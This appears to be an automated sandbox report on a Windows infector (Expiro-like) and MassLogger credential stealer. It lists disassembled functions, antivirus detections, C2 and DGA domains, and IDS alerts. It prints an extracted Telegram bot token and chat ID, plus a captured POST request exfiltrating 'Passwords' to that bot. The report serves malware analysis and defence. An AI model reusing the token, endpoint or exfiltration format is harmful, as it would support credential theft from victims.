Snapshot File: hcaresult_15_2_330000_maintenanceservice.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: b6389e09b6077b47674f7acf7597a74fcdce7f364050d50fcc3dfbc7a130e9e8
Instruction ID: e55299fefa7fb05d8a23bb47371284cda0351e84a3b820c07668a5ab00176636
Opcode Fuzzy Hash: b6389e09b6077b47674f7acf7597a74fcdce7f364050d50fcc3dfbc7a130e9e8
Instruction Fuzzy Hash: C7F01236504200AF8637EB6AF986C2673DDBF04711B96880AF54DDB601CB39FD809E64

Function 003734FF Relevance: 6.1, APIs: 4, Instructions: 110
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,?,00000000,00000000,00000100,?,00000000,?,?,00000000), ref: 0037354C
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 003735D5
GetStringTypeW.KERNEL32(?,00000000,00000000,?), ref: 003735E7
__freea.LIBCMT ref: 003735F0

Part of subcall function 003732FA: RtlAllocateHeap.NTDLL(00000000,?,?), ref: 0037332C

Memory Dump Source

Source File: 0000000F.00000002.408196434.0000000000330000.00000040.00001000.00020000.00000000.sdmp, Offset: 00330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_330000_maintenanceservice.jbxd

Similarity

API ID: ByteCharMultiWide$AllocateHeapStringType__freea
String ID:
API String ID: 2652629310-0
Opcode ID: 211946867507adcf6eed1ce91191430759da6e27c1a8b3bb38e6350565285dae
Instruction ID: eecb82b27980e8a647ac670f0fad620ca3ceb497ac7f483681c1773d7cfae38f
Opcode Fuzzy Hash: 211946867507adcf6eed1ce91191430759da6e27c1a8b3bb38e6350565285dae
Instruction Fuzzy Hash: 43319272A0121AABDF369F64DC45DAE7BA5EF41320F058129FC08DB250EB39DE54DB90

Function 0037218B Relevance: 6.1, APIs: 4, Instructions: 52
libraryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,003715D8,00000000,00000000,?,00372132,003715D8,00000000,00000000,00000000,?,00372283,00000006,FlsSetValue), ref: 003721BD
GetLastError.KERNEL32(?,00372132,003715D8,00000000,00000000,00000000,?,00372283,00000006,FlsSetValue,00386FC4,FlsSetValue,00000000,00000364,?,0037192D), ref: 003721C9
LoadLibraryExW.KERNEL32(00000000,00000000,00000000,?,00372132,003715D8,00000000,00000000,00000000,?,00372283,00000006,FlsSetValue,00386FC4,FlsSetValue,00000000), ref: 003721D7

Memory Dump Source

Source File: 0000000F.00000002.408196434.0000000000330000.00000040.00001000.00020000.00000000.sdmp, Offset: 00330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_330000_maintenanceservice.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID:
API String ID: 3177248105-0
Opcode ID: 80ec1217a427eb8300e9c24da1aff70ca8d44fb6b84bfad1cd1d7c9fe0f94e07
Instruction ID: 1f7f90a818b48ef672c1040916a2e7e91c7a99f146997e6571bcbdb4c2951020
Opcode Fuzzy Hash: 80ec1217a427eb8300e9c24da1aff70ca8d44fb6b84bfad1cd1d7c9fe0f94e07
Instruction Fuzzy Hash: F201FC727016269BD7334A68DC44A573B9CFF45B61F624520FA1DD7241D728D800C6F0

Function 00372DDB Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 168
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 003729AE: GetOEMCP.KERNEL32 ref: 003729D9

IsValidCodePage.KERNEL32(-00000030,00000000,?,?,?,?,00372C7C,?,00000000), ref: 00372E4F
GetCPInfo.KERNEL32(00000000,|,7,?,?,?,00372C7C,?,00000000), ref: 00372E62

Strings

|,7, xrefs: 00372E5D, 00372E60

Memory Dump Source

Source File: 0000000F.00000002.408196434.0000000000330000.00000040.00001000.00020000.00000000.sdmp, Offset: 00330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_330000_maintenanceservice.jbxd

Similarity

API ID: CodeInfoPageValid
String ID: |,7
API String ID: 546120528-589727367
Opcode ID: 7fce4e9df325fc9ae0f68795c0345d883a9c313a660715052858b9a82d55839f
Instruction ID: 15ae78df031d51e2d2afad475a5838ef28cedc07f844b322b91f53ec6ff01886
Opcode Fuzzy Hash: 7fce4e9df325fc9ae0f68795c0345d883a9c313a660715052858b9a82d55839f
Instruction Fuzzy Hash: A35124709042455EDB378F35C880ABBBBF8EF41300F14C06EE49E8A652D73D9942CB90

Function 00374C0D Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 60
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 00374CAE
___raise_securityfailure.LIBCMT ref: 00374D95

Strings

09, xrefs: 00374D90

Memory Dump Source

Source File: 0000000F.00000002.408196434.0000000000330000.00000040.00001000.00020000.00000000.sdmp, Offset: 00330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_330000_maintenanceservice.jbxd

Similarity

API ID: FeaturePresentProcessor___raise_securityfailure
String ID: 09
API String ID: 3761405300-1441599427
Opcode ID: b86d70d32fdff56c2d1df3889891ff598fab06788db78f5b9c5a7d368d8ba690
Instruction ID: f5b0f4d3e769c8ca2e90a143eb93730813d9f01c5e8a4f0460c5ca8991321ea5
Opcode Fuzzy Hash: b86d70d32fdff56c2d1df3889891ff598fab06788db78f5b9c5a7d368d8ba690
Instruction Fuzzy Hash: 4321F5B55123049FE75BCF28F9916547BA8BB48320F10402BE9098BBB1E3B65981CF84

Source: C:\Windows\System32\wbengine.exe	Avira: detection malicious, Label: W32/Infector.Gen
Source: C:\Windows\System32\Locator.exe	Avira: detection malicious, Label: W32/Infector.Gen
Source: C:\Windows\ehome\ehsched.exe	Avira: detection malicious, Label: W32/Infector.Gen
Source: C:\Windows\System32\dllhost.exe	Avira: detection malicious, Label: W32/Infector.Gen
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Avira: detection malicious, Label: W32/Infector.Gen
Source: C:\Program Files\Windows Media Player\wmpnetwk.exe	Avira: detection malicious, Label: W32/Infector.Gen
Source: C:\Windows\System32\msiexec.exe	Avira: detection malicious, Label: W32/Infector.Gen
Source: C:\Windows\Microsoft.NET\Framework64\v2.0.50727\mscorsvw.exe	Avira: detection malicious, Label: W32/Infector.Gen
Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	Avira: detection malicious, Label: W32/Infector.Gen
Source: C:\Windows\SysWOW64\perfhost.exe	Avira: detection malicious, Label: W32/Infector.Gen
Source: C:\Windows\System32\sppsvc.exe	Avira: detection malicious, Label: W32/Infector.Gen
Source: C:\Windows\System32\msdtc.exe	Avira: detection malicious, Label: W32/Infector.Gen
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_state.exe	Avira: detection malicious, Label: W32/Infector.Gen
Source: C:\Windows\System32\wbem\WmiApSrv.exe	Avira: detection malicious, Label: W32/Infector.Gen
Source: C:\Windows\ehome\ehrecvr.exe	Avira: detection malicious, Label: W32/Infector.Gen
Source: C:\Windows\Microsoft.NET\Framework64\v2.0.50727\mscorsvw.exe	Avira: detection malicious, Label: W32/Infector.Gen
Source: C:\Program Files\Common Files\Microsoft Shared\Source Engine\OSE.EXE	Avira: detection malicious, Label: W32/Infector.Gen
Source: C:\Windows\System32\ieetwcollector.exe	Avira: detection malicious, Label: W32/Infector.Gen
Source: C:\Windows\Microsoft.NET\Framework64\v2.0.50727\mscorsvw.exe	Avira: detection malicious, Label: W32/Infector.Gen
Source: C:\Windows\System32\snmptrap.exe	Avira: detection malicious, Label: W32/Infector.Gen
Source: C:\Windows\System32\vds.exe	Avira: detection malicious, Label: W32/Infector.Gen
Source: C:\Windows\Microsoft.NET\Framework64\v2.0.50727\mscorsvw.exe	Avira: detection malicious, Label: W32/Infector.Gen
Source: C:\Windows\System32\FXSSVC.exe	Avira: detection malicious, Label: W32/Infector.Gen
Source: C:\Windows\System32\SearchIndexer.exe	Avira: detection malicious, Label: W32/Infector.Gen
Source: C:\Windows\System32\VSSVC.exe	Avira: detection malicious, Label: W32/Infector.Gen
Source: C:\Windows\System32\alg.exe	Avira: detection malicious, Label: W32/Infector.Gen
Source: C:\Windows\SysWOW64\Macromed\Flash\FlashPlayerUpdateService.exe	Avira: detection malicious, Label: W32/Infector.Gen
Source: C:\Program Files (x86)\Google\Chrome\Application\109.0.5414.120\elevation_service.exe	Avira: detection malicious, Label: W32/Infector.Gen

Source: 12.2.RegSvcs.exe.90000.0.unpack	Malware Configuration Extractor: MassLogger {"EXfil Mode": "Telegram", "Telegram Token": "7708662779:AAH6Et2SseJQ86UUKPaQRakBrlKtq8QtlJg", "Telegram Chatid": "5839829477"}
Source: RegSvcs.exe.3736.12.memstrmin	Malware Configuration Extractor: Telegram RAT {"C2 url": "https://api.telegram.org/bot7708662779:AAH6Et2SseJQ86UUKPaQRakBrlKtq8QtlJg/sendMessage"}

Source: C:\Windows\System32\wbengine.exe	Joe Sandbox ML: detected
Source: C:\Windows\System32\Locator.exe	Joe Sandbox ML: detected
Source: C:\Windows\ehome\ehsched.exe	Joe Sandbox ML: detected
Source: C:\Windows\System32\dllhost.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Joe Sandbox ML: detected
Source: C:\Program Files\Windows Media Player\wmpnetwk.exe	Joe Sandbox ML: detected
Source: C:\Windows\System32\msiexec.exe	Joe Sandbox ML: detected
Source: C:\Windows\Microsoft.NET\Framework64\v2.0.50727\mscorsvw.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	Joe Sandbox ML: detected
Source: C:\Windows\SysWOW64\perfhost.exe	Joe Sandbox ML: detected
Source: C:\Windows\System32\sppsvc.exe	Joe Sandbox ML: detected
Source: C:\Windows\System32\msdtc.exe	Joe Sandbox ML: detected
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_state.exe	Joe Sandbox ML: detected
Source: C:\Windows\System32\wbem\WmiApSrv.exe	Joe Sandbox ML: detected
Source: C:\Windows\ehome\ehrecvr.exe	Joe Sandbox ML: detected
Source: C:\Windows\Microsoft.NET\Framework64\v2.0.50727\mscorsvw.exe	Joe Sandbox ML: detected
Source: C:\Program Files\Common Files\Microsoft Shared\Source Engine\OSE.EXE	Joe Sandbox ML: detected
Source: C:\Windows\System32\ieetwcollector.exe	Joe Sandbox ML: detected
Source: C:\Windows\Microsoft.NET\Framework64\v2.0.50727\mscorsvw.exe	Joe Sandbox ML: detected
Source: C:\Windows\System32\snmptrap.exe	Joe Sandbox ML: detected
Source: C:\Windows\System32\vds.exe	Joe Sandbox ML: detected
Source: C:\Windows\Microsoft.NET\Framework64\v2.0.50727\mscorsvw.exe	Joe Sandbox ML: detected
Source: C:\Windows\System32\FXSSVC.exe	Joe Sandbox ML: detected
Source: C:\Windows\System32\SearchIndexer.exe	Joe Sandbox ML: detected
Source: C:\Windows\System32\VSSVC.exe	Joe Sandbox ML: detected
Source: C:\Windows\System32\alg.exe	Joe Sandbox ML: detected
Source: C:\Windows\SysWOW64\Macromed\Flash\FlashPlayerUpdateService.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Google\Chrome\Application\109.0.5414.120\elevation_service.exe	Joe Sandbox ML: detected

Source: Network traffic	Suricata IDS: 2051648 - Severity 1 - ET MALWARE DNS Query to Expiro Related Domain (przvgke .biz) : 192.168.2.22:49881 -> 8.8.8.8:53
Source: Network traffic	Suricata IDS: 2051648 - Severity 1 - ET MALWARE DNS Query to Expiro Related Domain (przvgke .biz) : 192.168.2.22:62672 -> 8.8.8.8:53
Source: Network traffic	Suricata IDS: 2850851 - Severity 1 - ETPRO MALWARE Win32/Expiro.NDO CnC Activity : 192.168.2.22:49212 -> 54.244.188.177:80
Source: Network traffic	Suricata IDS: 2850851 - Severity 1 - ETPRO MALWARE Win32/Expiro.NDO CnC Activity : 192.168.2.22:49171 -> 18.141.10.107:80
Source: Network traffic	Suricata IDS: 2051649 - Severity 1 - ET MALWARE DNS Query to Expiro Related Domain (knjghuig .biz) : 192.168.2.22:65510 -> 8.8.8.8:53
Source: Network traffic	Suricata IDS: 2051649 - Severity 1 - ET MALWARE DNS Query to Expiro Related Domain (knjghuig .biz) : 192.168.2.22:54842 -> 8.8.8.8:53
Source: Network traffic	Suricata IDS: 2034983 - Severity 1 - ET MALWARE Win32/ClipBanker.OC CnC Activity M2 : 192.168.2.22:49259 -> 54.244.188.177:80
Source: Network traffic	Suricata IDS: 2051649 - Severity 1 - ET MALWARE DNS Query to Expiro Related Domain (knjghuig .biz) : 192.168.2.22:50337 -> 8.8.8.8:53
Source: Network traffic	Suricata IDS: 2051648 - Severity 1 - ET MALWARE DNS Query to Expiro Related Domain (przvgke .biz) : 192.168.2.22:54422 -> 8.8.8.8:53
Source: Network traffic	Suricata IDS: 2034983 - Severity 1 - ET MALWARE Win32/ClipBanker.OC CnC Activity M2 : 192.168.2.22:49213 -> 82.112.184.197:80
Source: Network traffic	Suricata IDS: 2034983 - Severity 1 - ET MALWARE Win32/ClipBanker.OC CnC Activity M2 : 192.168.2.22:49224 -> 13.251.16.150:80
Source: Network traffic	Suricata IDS: 2051651 - Severity 1 - ET MALWARE DNS Query to Expiro Domain (eufxebus .biz) : 192.168.2.22:57113 -> 8.8.8.8:53
Source: Network traffic	Suricata IDS: 2034983 - Severity 1 - ET MALWARE Win32/ClipBanker.OC CnC Activity M2 : 192.168.2.22:49270 -> 18.141.10.107:80

Source: Joe Sandbox View	IP Address: 165.160.15.20 165.160.15.20
Source: Joe Sandbox View	IP Address: 3.254.94.185 3.254.94.185

Source: C:\Windows\ehome\ehrecvr.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Windows\ehome\ehrecvr.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\TreatAs	Jump to behavior
Source: C:\Windows\ehome\ehrecvr.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\Progid	Jump to behavior
Source: C:\Windows\ehome\ehrecvr.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\Progid	Jump to behavior
Source: C:\Windows\ehome\ehrecvr.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\InprocServer32	Jump to behavior
Source: C:\Windows\ehome\ehrecvr.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\InprocHandler32	Jump to behavior
Source: C:\Windows\ehome\ehrecvr.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\InprocHandler	Jump to behavior
Source: C:\Windows\ehome\ehrecvr.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Windows\ehome\ehrecvr.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\TreatAs	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 002AD6F9h	12_2_002AD450
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 002A2CB1h	12_2_002A2A00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 002A3275h	12_2_002A2E60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 002AFAD1h	12_2_002AF828
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 002ABAE9h	12_2_002AB840
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 002ADB51h	12_2_002AD8A8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 002ABF41h	12_2_002ABC98
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 002AC399h	12_2_002AC0F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 002ADFA9h	12_2_002ADD00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 002AC885h	12_2_002AC548
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 002AE401h	12_2_002AE158
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 002A3275h	12_2_002A31A3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 002A3275h	12_2_002A2E4F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 002ACE49h	12_2_002ACBA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 002AB239h	12_2_002AAF90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 002AB691h	12_2_002AB3E8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 002AD2A1h	12_2_002ACFF8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then push 00000000h	12_2_0089A8E8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	12_2_00896658
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 0089732Dh	12_2_00897150
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 00897CB7h	12_2_00897150
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 00890741h	12_2_00890498
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 00892151h	12_2_00891EA8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 00893B61h	12_2_008938B8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 00895571h	12_2_008952C8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 00890B99h	12_2_008908F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 008932B1h	12_2_00893008
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 00894CC1h	12_2_00894A18
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 008902E9h	12_2_00890040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 00891CF9h	12_2_00891A50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 0089370Bh	12_2_00893460
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 00895119h	12_2_00894E70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 00891449h	12_2_008911A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 00892E59h	12_2_00892BB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 00894869h	12_2_008945C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 00896279h	12_2_00895FD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 008918A1h	12_2_008915F8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 008925A9h	12_2_00892300
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 00893FB9h	12_2_00893D10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 008959C9h	12_2_00895720
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 00890FF1h	12_2_00890D48
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 00892A01h	12_2_00892758
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 00894411h	12_2_00894168
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 00895E21h	12_2_00895B78

Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.77 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7708662779:AAH6Et2SseJQ86UUKPaQRakBrlKtq8QtlJg/sendDocument?chat_id=5839829477&caption=user%20/%20Passwords%20/%20173.254.250.77 HTTP/1.1Content-Type: multipart/form-data; boundary================8dcf99bda54029cHost: api.telegram.orgContent-Length: 1095Connection: Keep-Alive

Source: Joe Sandbox View	JA3 fingerprint: 05af1f5ca1b87cc9cc9b25185115607d
Source: Joe Sandbox View	JA3 fingerprint: 36f7277af969a6947a61ae0b815907a1

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	DNS query: name: checkip.dyndns.org
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	DNS query: name: checkip.dyndns.org
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	DNS query: name: checkip.dyndns.org
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	DNS query: name: reallyfreegeoip.org

Source: Network traffic	Suricata IDS: 2018141 - Severity 1 - ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz : 18.141.10.107:80 -> 192.168.2.22:49171
Source: Network traffic	Suricata IDS: 2018141 - Severity 1 - ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz : 54.244.188.177:80 -> 192.168.2.22:49161
Source: Network traffic	Suricata IDS: 2037771 - Severity 1 - ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst : 54.244.188.177:80 -> 192.168.2.22:49161
Source: Network traffic	Suricata IDS: 2018141 - Severity 1 - ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz : 34.246.200.160:80 -> 192.168.2.22:49199
Source: Network traffic	Suricata IDS: 2018141 - Severity 1 - ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz : 34.211.97.45:80 -> 192.168.2.22:49235
Source: Network traffic	Suricata IDS: 2018141 - Severity 1 - ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz : 13.251.16.150:80 -> 192.168.2.22:49203
Source: Network traffic	Suricata IDS: 2037771 - Severity 1 - ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst : 13.251.16.150:80 -> 192.168.2.22:49203
Source: Network traffic	Suricata IDS: 2037771 - Severity 1 - ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst : 18.141.10.107:80 -> 192.168.2.22:49171
Source: Network traffic	Suricata IDS: 2037771 - Severity 1 - ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst : 34.246.200.160:80 -> 192.168.2.22:49199
Source: Network traffic	Suricata IDS: 2037771 - Severity 1 - ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst : 34.211.97.45:80 -> 192.168.2.22:49235
Source: Network traffic	Suricata IDS: 2018141 - Severity 1 - ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz : 18.208.156.248:80 -> 192.168.2.22:49200
Source: Network traffic	Suricata IDS: 2037771 - Severity 1 - ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst : 18.208.156.248:80 -> 192.168.2.22:49200
Source: Network traffic	Suricata IDS: 2018141 - Severity 1 - ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz : 3.94.10.34:80 -> 192.168.2.22:49207
Source: Network traffic	Suricata IDS: 2018141 - Severity 1 - ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz : 44.221.84.105:80 -> 192.168.2.22:49194
Source: Network traffic	Suricata IDS: 2037771 - Severity 1 - ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst : 3.94.10.34:80 -> 192.168.2.22:49207
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.22:49179 -> 193.122.130.0:80
Source: Network traffic	Suricata IDS: 2018141 - Severity 1 - ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz : 18.246.231.120:80 -> 192.168.2.22:49220
Source: Network traffic	Suricata IDS: 2037771 - Severity 1 - ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst : 18.246.231.120:80 -> 192.168.2.22:49220
Source: Network traffic	Suricata IDS: 2018141 - Severity 1 - ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz : 35.164.78.200:80 -> 192.168.2.22:49206
Source: Network traffic	Suricata IDS: 2037771 - Severity 1 - ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst : 35.164.78.200:80 -> 192.168.2.22:49206
Source: Network traffic	Suricata IDS: 2037771 - Severity 1 - ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst : 44.221.84.105:80 -> 192.168.2.22:49194
Source: Network traffic	Suricata IDS: 2018141 - Severity 1 - ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz : 47.129.31.212:80 -> 192.168.2.22:49299
Source: Network traffic	Suricata IDS: 2037771 - Severity 1 - ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst : 47.129.31.212:80 -> 192.168.2.22:49299
Source: Network traffic	Suricata IDS: 2018141 - Severity 1 - ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz : 3.254.94.185:80 -> 192.168.2.22:49298
Source: Network traffic	Suricata IDS: 2037771 - Severity 1 - ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst : 3.254.94.185:80 -> 192.168.2.22:49298

Source: global traffic	DNS traffic detected: DNS query: pywolwnvd.biz
Source: global traffic	DNS traffic detected: DNS query: ssbzmoy.biz
Source: global traffic	DNS traffic detected: DNS query: cvgrf.biz
Source: global traffic	DNS traffic detected: DNS query: npukfztj.biz
Source: global traffic	DNS traffic detected: DNS query: przvgke.biz
Source: global traffic	DNS traffic detected: DNS query: zlenh.biz
Source: global traffic	DNS traffic detected: DNS query: knjghuig.biz
Source: global traffic	DNS traffic detected: DNS query: uhxqin.biz
Source: global traffic	DNS traffic detected: DNS query: anpmnmxo.biz
Source: global traffic	DNS traffic detected: DNS query: lpuegx.biz
Source: global traffic	DNS traffic detected: DNS query: checkip.dyndns.org
Source: global traffic	DNS traffic detected: DNS query: reallyfreegeoip.org
Source: global traffic	DNS traffic detected: DNS query: vjaxhpbji.biz
Source: global traffic	DNS traffic detected: DNS query: api.telegram.org
Source: global traffic	DNS traffic detected: DNS query: xlfhhhm.biz
Source: global traffic	DNS traffic detected: DNS query: ifsaia.biz
Source: global traffic	DNS traffic detected: DNS query: saytjshyf.biz
Source: global traffic	DNS traffic detected: DNS query: vcddkls.biz
Source: global traffic	DNS traffic detected: DNS query: fwiwk.biz
Source: global traffic	DNS traffic detected: DNS query: tbjrpv.biz
Source: global traffic	DNS traffic detected: DNS query: deoci.biz
Source: global traffic	DNS traffic detected: DNS query: gytujflc.biz
Source: global traffic	DNS traffic detected: DNS query: qaynky.biz
Source: global traffic	DNS traffic detected: DNS query: bumxkqgxu.biz
Source: global traffic	DNS traffic detected: DNS query: dwrqljrr.biz
Source: global traffic	DNS traffic detected: DNS query: nqwjmb.biz
Source: global traffic	DNS traffic detected: DNS query: ytctnunms.biz
Source: global traffic	DNS traffic detected: DNS query: myups.biz
Source: global traffic	DNS traffic detected: DNS query: oshhkdluh.biz
Source: global traffic	DNS traffic detected: DNS query: yunalwv.biz
